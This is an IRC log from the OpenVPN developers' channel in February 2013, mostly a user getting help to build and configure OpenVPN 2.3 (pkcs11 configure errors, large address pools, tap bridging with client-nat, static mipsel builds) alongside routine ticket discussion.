krzee: both android importers! 14:50 <@ecrist> krzee: that update is already in the ports tree, btw 14:52 <+krzee> awesome, thanks for the heads up 14:54 <+krzee> will bbl, finally getting ready to leave usa, back to the island 14:54 <+krzee> long busy "vacation" 14:54 <+krzee> ready to get home so i can go back to work and relax, lol 14:59 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 248 seconds] 15:40 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Quit: Leaving] 15:50 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn-devel 18:39 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 264 seconds] 18:51 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 18:56 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 256 seconds] 19:09 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 19:15 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 256 seconds] 19:19 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has quit [Ping timeout: 245 seconds] 19:28 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 19:29 -!- raidz is now known as raidz_away 19:33 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 264 seconds] 19:46 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 19:57 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Quit: Leaving] 19:57 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 264 seconds] 19:58 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn-devel 20:09 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 20:15 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 256 seconds] 20:28 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 20:38 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 256 seconds] 20:51 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 20:56 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 256 seconds] 21:09 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 21:11 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 21:11 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:15 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 264 seconds] 21:27 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 21:33 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 260 seconds] 21:35 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 256 seconds] 21:48 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 21:53 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 256 seconds] 22:06 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 22:13 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 256 seconds] 22:27 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 22:35 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 256 seconds] 22:48 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 22:55 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 264 seconds] 23:08 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 23:13 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 256 seconds] 23:26 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 23:32 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 256 seconds] 23:45 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 23:56 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 256 seconds] --- Day changed Wed Feb 20 2013 00:09 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 00:15 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 256 seconds] 00:28 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 00:46 -!- mattock is now known as mattock_afk 00:46 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 256 seconds] 01:00 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 01:00 -!- mattock_afk is now known as mattock 01:06 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 264 seconds] 01:18 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 01:25 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 256 seconds] 01:38 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 01:54 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 256 seconds] 02:07 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 02:13 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 256 seconds] 02:26 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 02:35 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 256 seconds] 02:48 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 02:53 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 264 seconds] 02:53 -!- surfmasta [~bart@80.92.88.10] has joined #openvpn-devel 02:54 < surfmasta> Hi, is there any source documentation of OpenVPN online? 02:56 < surfmasta> I am trying to find the functions for the incoming and outgoing packets before they get processed by OpenVPN 03:00 <@plaisthos> surfmasta: I am afraid not 03:00 <@plaisthos> but iirc look around link_incoming, link_outgoing function 03:02 < surfmasta> ok thanks, i will take a look on it 03:05 < surfmasta> we will also update to OpenVPN 2.3 soon, but still have 2.1, do you know the function names there? grepping for link_incoming does not show anything up 03:06 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 03:06 <@cron2> these parts have not changed between 2.1 and 2.3 03:08 < surfmasta> [root@svn openvpn]# grep PRODUCT_VERSION version.m4; grep -R link_incoming * 03:08 < surfmasta> define(PRODUCT_VERSION,[2.1.4]) 03:08 < surfmasta> thats it 03:08 < surfmasta> hmm, maybe I have to fetch a new 2.1 release, because we store our own version in our SVN 03:08 <@cron2> so maybe it's not called "link_incoming" but something similar 03:09 <@cron2> nobody of us is working on these bits right now, so this is all from (distant) memory 03:10 < surfmasta> i know, its kind of an old release :-) maybe read_incoming_link or process_incoming_link in forward.c? 03:13 <@cron2> sounds right 03:14 < surfmasta> yep, looks good, thanks a lot 03:16 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 256 seconds] 03:29 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 03:37 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 256 seconds] 03:50 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 03:55 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 256 seconds] 03:59 -!- dazo_afk is now known as dazo 04:09 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 04:14 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 256 seconds] 04:28 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 05:51 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 256 seconds] 06:04 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 06:26 < surfmasta> is pkcs11 mandatory to be used with OpenVPN? I am trying to update from 2.1 to 2.3.0 on CentOs 5.9 06:26 < surfmasta> but ./configure fails on PKCS11 06:26 < surfmasta> checking for PKCS11_HELPER... ./configure: line 27372: syntax error near unexpected token `else' 06:26 < surfmasta> ./configure: line 27372: `else' 06:28 <@dazo> surfmasta: what does your configure line say? 06:29 < surfmasta> 27372 is the last line (empty) of configure. I am using following configure line to start: 06:30 <@dazo> configure command line, I mean 06:30 * dazo runs a test now 06:30 < surfmasta> %configure \ 06:30 < surfmasta> --program-prefix="%{?_program_prefix}" \ 06:30 < surfmasta> --enable-iproute2 \ 06:30 < surfmasta> --enable-pthread \ 06:30 < surfmasta> --enable-password-save \ 06:30 < surfmasta> --disable-pkcs11 06:30 < surfmasta> i just put disable-pkcs11 in for test, but saw that this does not exist 06:32 <@dazo> right ... and it shouldn't depend on pkcs11 at all without --enable-pkcs11 06:33 < surfmasta> i assume, because i am building my own RPM where i change the CFLAGS with: 06:33 < surfmasta> if pkg-config openssl; then 06:33 < surfmasta> export CFLAGS="%{optflags} $(pkg-config --cflags openssl)" 06:33 < surfmasta> export LDFLAGS="$LDFLAGS $(pkg-config --libs-only-L openssl)" 06:33 < surfmasta> fi 06:33 < surfmasta> that openssl tries to get in pkcs11 06:33 <@dazo> if you use the .spec file ... then that does depend on pkcs11 ... didn't know openssl had the pkcs11 dep 06:34 < surfmasta> i am also not that sure, just an assumption because i read somewhere that pkcs11 is used in openssl, openvpn and some other stuff 06:35 <@dazo> the .spec file from EPEL and RHEL (which CentOS might inherit) will add pkcs11 deps 06:35 <@dazo> but openvpn itself can be compiled without pkcs11 06:36 < surfmasta> oh ok, i am writing a new RPM from scratch (or better to say migrate an old one that we had from OpenVPN 2.1 where we had not PKCS11 dependency) 06:36 < surfmasta> can't see any pkcs11 relevant stuff in there 06:37 < surfmasta> but i will try to build openvpn without the spec first and see if it goes 06:37 < surfmasta> then i will know if the RPM/Openssl is the issue 06:37 <@dazo> http://www.fpaste.org/39dD/ 06:38 <@dazo> surfmasta: you just need to get pkcs11-helper and pkcs11-helper-devel packages installed ... that's all 06:39 <@plaisthos> anyone come across patches which allow: 06:39 <@plaisthos> something like http-proxy-option AGENT 'Opera/9.80 (J2ME/MIDP; Opera Mini/528.16 (iPhone; U; CPU iPhone OS 3.0 like Mac OS X; en-us; compatible; Googlebot/870; U; en) Presto/2.4.15' 06:40 <@plaisthos> err 06:40 <@dazo> plaisthos: I think I vaguely remember an old mail discussion .... but we're probably talking before 2008 or so 06:40 <@plaisthos> dazo: ah okay 06:41 <@dazo> from my memory, I just recall I didn't find the topic that interesting ... so I didn't pay more attention to it at that point 06:42 <@plaisthos> :) 06:48 * plaisthos thinks that something like adding 06:48 <@plaisthos> <http-proxy-extra-headers> 06:48 <@plaisthos> Foo: bar 06:48 <@plaisthos> Host: blabla.blaba.com 06:48 <@plaisthos> </http-proxy-extra-headers> 06:49 < surfmasta> dazo: ok, building by its own works :-) i found the error, it was that for openvpn 2.1 we were calling autoconf and stuff before configure, in the openvpn 2.3 sources a configure script is already provided and there is basically no need for me to call autoconf 06:49 <@plaisthos> would solve the problem for this particular user 06:49 < surfmasta> dazo: somehow autoconf wants pkcs11 in the configure i guess 06:49 <@plaisthos> instead of adding trillions of strage http-proxy-option headers.... 06:50 <@dazo> surfmasta: are you sure you're compiling the 2.3 code base? ./configure will look for it, probably, but there are no other reasons why it should try to look for it unless you give --enable-pkcs11 06:51 < surfmasta> yep, downloaded fresh 2.3 release, took the RPM-spec we had from our 2.1 06:51 < surfmasta> the only lines i removed are the autoconf lines 06:51 < surfmasta> and now it works 06:52 < surfmasta> i mean i also have to adapt some paths, because plugins were not in src/plugins before 06:53 < surfmasta> configure also looks for it, but now it just says "no" and goes on with the configuration 06:53 < surfmasta> it does not break anymore 07:00 <@dazo> surfmasta: why not use the version we've compiled for CentOS? https://community.openvpn.net/openvpn/wiki/OpenvpnSoftwareRepos ... and by now, it might be 2.3.0 is already in EPEL too 07:00 <@vpnHelper> Title: OpenvpnSoftwareRepos – OpenVPN Community (at community.openvpn.net) 07:00 <@dazo> oh, I see community.openvpn.net only have EL6 builds, not EL5 07:01 < surfmasta> yep, thats the reason :-) 07:01 <@dazo> grmbl ... and EPEL is still on 2.2.2 ..... need to file a bz on that one 07:01 < surfmasta> if it would be me i would already update the centos 07:02 <@plaisthos> who does the RHEL builds? 07:02 <@dazo> well, upgrading EL5->EL6 is a fairly big upgrade 07:02 <@plaisthos> and is it difficult to also provide a RHEL5 release? 07:02 <@dazo> plaisthos: EPEL builds is done by the Fedora community ... and mattock got a CentOS6 box doing the community builds 07:02 < surfmasta> yep, but in our case we have just a tunnel-server where we set some iptables rules automatically and are using the openvpn server 07:02 <@dazo> plaisthos: not necessarily ... at least if you use mock 07:02 <@plaisthos> dazo: ah okay 07:02 < surfmasta> so it would be easy to upgrade 07:03 <@dazo> ahh 07:03 < surfmasta> but the migration on the productivity would be not done with a longer downtime 07:07 < surfmasta> another question, in the plugins folder, the plugins are not build into *.so anymore? 07:08 <@dazo> they are moved, iirc ... might be that the old .spec file you look at don't account for that ... try pulling the spec file from our CentOS6 builds ... 07:09 <@dazo> hmmm ... mattock haven't published the src.rpm packages 07:10 <@dazo> mattock: Any chance you can put openvpn-2.3-2.src.rpm out? 07:10 <@dazo> that way you just need to do: rpmbuild --rebuild $srcRPM 07:10 <@dazo> on any other CentOS release 07:10 < surfmasta> yep, that would be cool 07:11 < surfmasta> i mean its just 1-2 little changes anyways before my rpm also works 07:11 < surfmasta> hopefully :-) 07:22 < surfmasta> yay, /usr/src/redhat/RPMS/x86_64/openvpn-new-r-0.el5.x86_64.rpm ;-) 07:34 < surfmasta> ok, one change that i see updating from 2.1 to 2.3 is: Options error: --server directive netmask allows for too many host addresses (subnet must be 255.255.0.0 (/16) or higher) 07:34 < surfmasta> here: http://comments.gmane.org/gmane.network.openvpn.user/23012 07:34 <@vpnHelper> Title: OpenVPN users list (at comments.gmane.org) 07:35 < surfmasta> in the last comment he changes the pool in the source and recompiles 07:35 < surfmasta> are there any drawbacks doing this? 07:35 <@plaisthos> surfmasta: do you really have a bigger than /16 for openvpn?! 07:35 < surfmasta> yep, we use 10.1.x.x, 10.2.x.x, 10.3.x.x for our clients 07:35 < surfmasta> our whole infrastructure is already designed like this 07:36 < surfmasta> also we don't use all of the ranges in between, but we set it up (also in databases, webinterfaces, ...) to serve out 10.0.0.0/8 network 07:37 <@plaisthos> surfmasta: changing the defines will most likely work fine 07:37 < surfmasta> ok, thanks 07:45 <@plaisthos> Usually a OpenVPN server with a pool with more than 65k hosts is an error 07:46 <@cron2> the limitation might be related to sizing of data structures for the pool, so the resulting binary might be more memory hungry. I'm not sure if I remember all the details, but it was something like that 07:49 <@plaisthos> the pool is probably preallocated 07:50 <@plaisthos> so 16 million addresses will need something like 64 MB * x memory 07:54 < surfmasta> hmm, good point. i am also seeing that the pool was resized by some freelancers by us in the past. from what i see we would be fine with a network like 10.1.0.0 07:54 < surfmasta> 10.1.0.0/16 07:54 < surfmasta> or no... 07:54 < surfmasta> 10.1.x.y, where x is "one" customer 07:54 < surfmasta> y is his list of devices 07:55 < surfmasta> so we a little bit more than /16, because we are counting with 1000 customers on one openvpn instance, because its the limit from what we got lastly 07:56 < surfmasta> except we run more instances in parallel or one openvpn server on each tunnel-server 07:56 <@plaisthos> but 1000 is at lot less than /16 (=65k) 07:56 < surfmasta> yep 07:57 < surfmasta> ah, thats what you mean 07:57 < surfmasta> but no, we have to use X for the customer 07:57 < surfmasta> so each customer gets his 10.1.x.0/24 network 07:57 < surfmasta> i know its wasting of ip-resources 07:57 <@dazo> 1000 customers on a single openvpn instance will definitely be a bottleneck too if each of the clients have fairly regular packets to transmit 07:58 < surfmasta> we will run tests in one of the next weeks to determine what our tunnel can handle 07:58 < surfmasta> we just read that people have trouble with the limits 07:58 <@dazo> earlier tests indicates something around 150-250 07:58 < surfmasta> but we have enough resources to run multiple server with one openvpn on each 07:58 <@dazo> but that's some years ago 07:58 < surfmasta> hmm 07:59 <@dazo> if you have multiple cores ... start more openvpn processes, preferably pinned to different CPU cores 07:59 <@dazo> just make them listen to different ports 08:00 < surfmasta> thats also one of our plans 08:00 < surfmasta> we have a 8core machine 08:00 < surfmasta> i can check for the ram we have on the live-system 08:01 < surfmasta> [LIVE]tunnel2 ~ # free 08:01 < surfmasta> total used free shared buffers cached 08:01 < surfmasta> Mem: 3906588 820972 3085616 0 0 0 08:01 < surfmasta> -/+ buffers/cache: 820972 3085616 08:01 < surfmasta> Swap: 0 0 0 08:01 < surfmasta> [LIVE]tunnel2 ~ # head /proc/cpuinfo 08:01 <@plaisthos> surfmasta: more interesting is the size of the openvpn process 08:01 < surfmasta> processor : 0 08:01 < surfmasta> vendor_id : GenuineIntel 08:01 < surfmasta> cpu family : 6 08:01 < surfmasta> model : 30 08:01 < surfmasta> model name : Intel(R) Xeon(R) CPU X3440 @ 2.53GHz 08:01 < surfmasta> and we have 2 of these machines 08:02 <@cron2> an 8-core machine with just 4G RAM is... interesting 08:02 <@dazo> heh 08:02 <@cron2> my 2-core laptop has 8G, cost me 50 EUR... 08:03 <@plaisthos> 4-core actually 08:03 <@dazo> dual socket perhaps? 08:03 <@plaisthos> dazo: 8 with hyper threading 08:03 <@dazo> ahh 08:03 <@plaisthos> that cpu uses a desktop socket 08:04 <@plaisthos> so no dual socket :) 08:05 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 256 seconds] 08:07 < surfmasta> weird that we just have 4gb 08:07 < surfmasta> our other systems have 24gigs 08:08 < surfmasta> have to talk to our admin, maybe he stole some memory :-) 08:08 <@plaisthos> 4gb should more than enough for openvpn 08:12 < surfmasta> i have the openvpn2.3.0 running now: 08:12 < surfmasta> USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND 08:12 < surfmasta> root 8923 0.0 0.0 57588 1900 ? S Feb15 0:00 /usr/sbin/openvpn --daemon --writepid /var/run/openvpn/server.pid --config server.conf --cd /etc/openvpn 08:12 < surfmasta> root 8924 0.0 0.0 57468 1628 ? S Feb15 0:10 /usr/sbin/openvpn --daemon --writepid /var/run/openvpn/server.pid --config server.conf --cd /etc/openvpn 08:12 < surfmasta> root 8930 0.1 13.9 603576 544800 ? Ssl Feb15 13:09 /usr/sbin/openvpn --daemon --writepid /var/run/openvpn/server.pid --config server.conf --cd /etc/openvpn 08:13 < surfmasta> with just one client connected for the moment 08:13 < surfmasta> ah no, this is from the Live system, there should be around 15-30 users connected 08:14 < surfmasta> so on the Live system we still have openvpn 2.1 08:14 < surfmasta> and here from the test system with openvpn 2.3: 08:14 < surfmasta> root 28144 0.0 0.0 59648 1680 ttyp1 S 14:47 0:00 /usr/sbin/openvpn --daemon --writepid /var/run/openvpn/server.pid --config server.conf --cd /etc/openvpn 08:14 < surfmasta> root 28145 0.0 0.0 59648 1548 ttyp1 S 14:47 0:00 /usr/sbin/openvpn --daemon --writepid /var/run/openvpn/server.pid --config server.conf --cd /etc/openvpn 08:14 < surfmasta> root 28150 0.0 13.8 653760 527056 ? Ssl 14:47 0:01 /usr/sbin/openvpn --daemon --writepid /var/run/openvpn/server.pid --config server.conf --cd /etc/openvpn 08:14 < surfmasta> both with a pool 10.0.0.0/8 08:15 < surfmasta> the test system has just 1 client connected 08:19 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 08:20 <@plaisthos> 527 MB for an openvpn process is impressive :) 08:21 < surfmasta> maybe its from the allocated pool 08:22 < surfmasta> but on the Live with 544MB used it still runs smooth, at least with ~20 beta testers 08:22 <@plaisthos> yeah 08:24 < surfmasta> and one difference is, Live is using tun and Test system is using tap 08:24 < surfmasta> but i think there should be not that much of a difference in memory usage 08:24 * plaisthos wonders why someone should move from tun to tap 08:25 < surfmasta> because of our new goal :-) i can describe 08:25 < surfmasta> first of all i am working for a company for webfiltering in a cloud for kids content and stuff (www.gatesecure.com) 08:26 < surfmasta> we have a device based on OpenWRT that takes over a homes network and connects to our cloud and routes all the traffic to our cloud for filtering 08:26 < surfmasta> the connection to the cloud is via OpenVPN 08:26 < surfmasta> and tun 08:27 < surfmasta> we want to put our solution on a stick that works on a german Fritzbox, there I managed to route all the traffic via a bridged network/OpenVPN to our cloud 08:27 < surfmasta> and bridged networks just work with tap 08:28 < surfmasta> so our decision will be probably to have multiple tunnels, some with tun/OpenVPN (also for the case of Android phones and stuff) and another one with tap/OpenVPN 08:29 < surfmasta> now i am fighting with the situation that the clients connecting to the DSL-router (Fritzbox) have their own IP-addresses that we don't want to touch (in most cases 192.168.178.0/24) and our tunnel-architecture is build to be a 10.0.0.0/8 network 08:29 < surfmasta> so i wanted to try the new feature --client-nat 08:30 < surfmasta> and thats why i needed openvpn 2.3.0 for testing 08:30 < surfmasta> plan is also not to touch too much in our architecture and maybe just change some settings on the tunnels-iptables or in the openvpn server itself 08:30 <@dazo> surfmasta: expect trouble with many clients on TAP ... broadcast traffic, both on L2 and L3 08:30 <@dazo> TAP doesn't scale well 08:31 < surfmasta> yep 08:31 < surfmasta> that is something i would probably have to research a little 08:31 < surfmasta> an idea was also to link into the incoming traffic of openvpn and to patch it for our needs 08:31 < surfmasta> to do some mapping between clients and our system already in openvpn 08:32 <@plaisthos> you could also use the openvpn layer2 firewall feature to filter out certain broadcasts 08:32 <@plaisthos> or build on that 08:32 < surfmasta> we have the radiusplugin for authentication and I thought i could use the accounts for something kind of VLAN-tags 08:32 < surfmasta> hmm, openvpn has a firewell implemented? 08:33 * surfmasta should take a look on this 08:33 <@plaisthos> but only ips not ports 08:33 <@dazo> well, you got ebtables 08:33 <@plaisthos> and saying it is sparsely document is already an euphemism 08:34 < surfmasta> yes, i saw ebtables yesterday where i can use SNATting in the PREROUTING basically 08:34 < surfmasta> but I feel like this is not the ultimative solution :-) but my feeling could be wrong 08:35 <@dazo> ebtables is for firewalling on L2 though ... where iptables is L3 08:35 < surfmasta> what do you think about the --client-nat feature? 08:36 <@dazo> useful if you have conflicting IP networks on client side against the VPN 08:36 <@plaisthos> does client-nat work with tap? 08:36 * dazo dunno 08:38 < surfmasta> at least openvpn-server started with tap and following client-nat: 08:39 < surfmasta> [STAGE]tunnel openvpn # head -20 server.conf 08:39 < surfmasta> local 192.168.82.10 08:39 < surfmasta> port 1194 08:39 < surfmasta> proto udp 08:39 < surfmasta> ;fast-io 08:39 < surfmasta> dev tap0 08:39 < surfmasta> mode server 08:39 < surfmasta> server 10.0.0.0 255.0.0.0 08:39 < surfmasta> username-as-common-name 08:39 < surfmasta> client-config-dir /etc/openvpn/ccd 08:39 < surfmasta> client-nat snat 192.168.178.0 255.255.255.0 10.1.13.0 255.255.255.0 08:39 -!- surfmasta was kicked from #openvpn-devel by dazo [Use pastebin] 08:39 -!- surfmasta [~bart@80.92.88.10] has joined #openvpn-devel 08:39 < surfmasta> sorry for pasting 08:41 < surfmasta> here the whole config: http://pastebin.com/kKUwQsUz 08:49 <@plaisthos> surfmasta: you have to test for yourself/read the code if openvpn allows client-nat in a) server b) tap mode 08:50 < surfmasta> i will try :-) 10:11 -!- raidz_away is now known as raidz 10:48 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 264 seconds] 11:00 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 11:15 < surfmasta> client-nat is working just as it says for clients, but with tap it should have no problems from what i see 11:15 < surfmasta> there is the function that is called client_nat_transform, that basically just switches ips in the header and it could also be used for something like --server-nat, right? 11:16 < surfmasta> but server-nat should also be possible with ebtables? 11:20 <@plaisthos> surfmasta: maybe 11:21 <@dazo> I don't see why that would be beneficial on the server side at all ... there's iptables with SNAT and DNAT to take care of that 11:21 <@dazo> lets not expect openvpn to become its own network OS which does everything 11:21 <@plaisthos> but since you control the client to be at least 2.3 you can push client-nat 11:21 <@dazo> sooner or later someone wants a web and file server built into openvpn 11:22 <@plaisthos> perhaps we should simply error out when someone tries to use client-nat in server mode 11:22 <@dazo> yeah ... I wouldn't even expect --client-nat to function on the server side though 11:22 <@dazo> but I might be wrong, haven't looked at the code 11:23 < surfmasta> hmmm, pushing the client-nat could be maybe the solution 11:24 < surfmasta> with iptables i was unable to get the hook to change/NAT the source ips 11:25 <@plaisthos> iptables is probably to late anyway 11:25 <@plaisthos> if you have conflicting ips 11:25 < surfmasta> yep, but i could build an openvpn 2.3.0 for mipsel and store this one on the sticks and openwrt 11:26 < surfmasta> the one that i build now is openvpn 2.2.1 mipsel 11:26 <@plaisthos> surfmasta: if you find out if client-nat works/does not work can you report back? 11:26 < surfmasta> but pushing client-nat is a wonderful idea :-) if this works then i will send you some beer :-) 11:26 <@plaisthos> so we can adjust the manpage 11:27 < surfmasta> sure, i will 11:27 <@plaisthos> This *pushable* client option 11:27 <@plaisthos> ;) 11:27 < surfmasta> if it does not work then i will maybe try to implement it, sounds like the only good thing in this setup that we have now 11:28 < surfmasta> but in general is it assumed that you can push all options from the openvpn server to the client? 11:28 < surfmasta> i thought it was just possible with some predefined like dhcp-* options and stuff 11:31 <@plaisthos> surfmasta: no not all options 11:31 <@plaisthos> a lot but not all 11:32 <@plaisthos> some are security wise a catastrophe and some make no sense 11:32 < surfmasta> right 11:32 <@plaisthos> e.g. pushing log /dev/sda would kill a partition table 11:32 <@plaisthos> pushing proto xxx makes no sense :) 11:33 < surfmasta> a funny scenario would be that a server pushes all options for being another server :-) 13:32 -!- syzzer [~steffan@50709F7C.static.ziggozakelijk.nl] has quit [Quit: leaving] 14:01 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 14:01 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:59 -!- dazo is now known as dazo_afk 16:49 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 272 seconds] 20:11 -!- raidz is now known as raidz_away 20:52 <@vpnHelper> RSS Update - tickets: #259: received corrupted data from proxy server <https://community.openvpn.net/openvpn/ticket/259> 20:55 <@ecrist> dazo/cron2: see the above ticket 20:55 <@ecrist> there's a link to a forum thread that has a patch people claim resolves the issue 20:55 <@ecrist> the problem was reported back in 2011, but only on the forum 21:07 <@ecrist> dazo_afk: https://community.openvpn.net/openvpn/ticket/94 21:07 <@vpnHelper> Title: #94 (NTLM proxy authentication does not work well) – OpenVPN Community (at community.openvpn.net) 21:07 <@ecrist> I think this is related --- Day changed Thu Feb 21 2013 00:19 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 00:19 -!- mode/#openvpn-devel [+v krzee] by ChanServ 00:52 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Remote host closed the connection] 01:02 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 01:02 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 01:03 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Client Quit] 01:04 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 01:04 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 01:05 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Client Quit] 01:06 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 01:06 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 01:09 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Client Quit] 01:18 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 01:18 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 01:18 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Client Quit] 01:41 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 01:42 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 01:57 -!- syzzer [~steffan@50709F7C.static.ziggozakelijk.nl] has joined #openvpn-devel 02:59 < surfmasta> i am trying to build a static openvpn 2.3.0 binary for mipsel and i am using LDFLAGS := -static / ./configure --static 03:00 < surfmasta> with openvpn 2.2.1 it worked, but with the 2.3.0 sources on my target machine i am getting "can't load library 'libresolv.so.0' 03:01 < surfmasta> when i am copying these libraries (libresolv.so.0 and liblzo2.so) from the mipsel toolchain to the target then i am getting the error: symbol 'stderr': can't handle reloc type 0x7e 03:01 < surfmasta> has anyone an idea how to solve this problem? 03:07 -!- dazo_afk is now known as dazo 03:09 < surfmasta> and i am using freetz as build environment 03:33 <@dazo> ecrist: I those commits mentioned in ticket #94 are already applied .... and there's been no response if that solved the issue or not with those patches 04:37 < surfmasta> i fixed the issue that of the libresolv.so and liblzo2.so by changing in ./configure the parameter in LDFLAGS="-lresolv" to my mipsel toolchain library LDFLAGS="/.../libresolv.a" 04:37 < surfmasta> but still getting the symbol error: 'stderr' can't handle reloc type 0x7e 04:42 < surfmasta> seems to be toolchain related 05:58 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 05:58 -!- mode/#openvpn-devel [+v pekster] by ChanServ 06:00 <+pekster> I've got code changes tested for a patch, but could use a 2nd pair of eyes on the configure.ac changes. Specifically, the patch adds a new build flag, and I want to make sure this covers the changes needed: http://paste.kde.org/677666/ 06:00 <+pekster> Is that all I need (plus of course the corresponding code changes) for the build system? It applies and builds 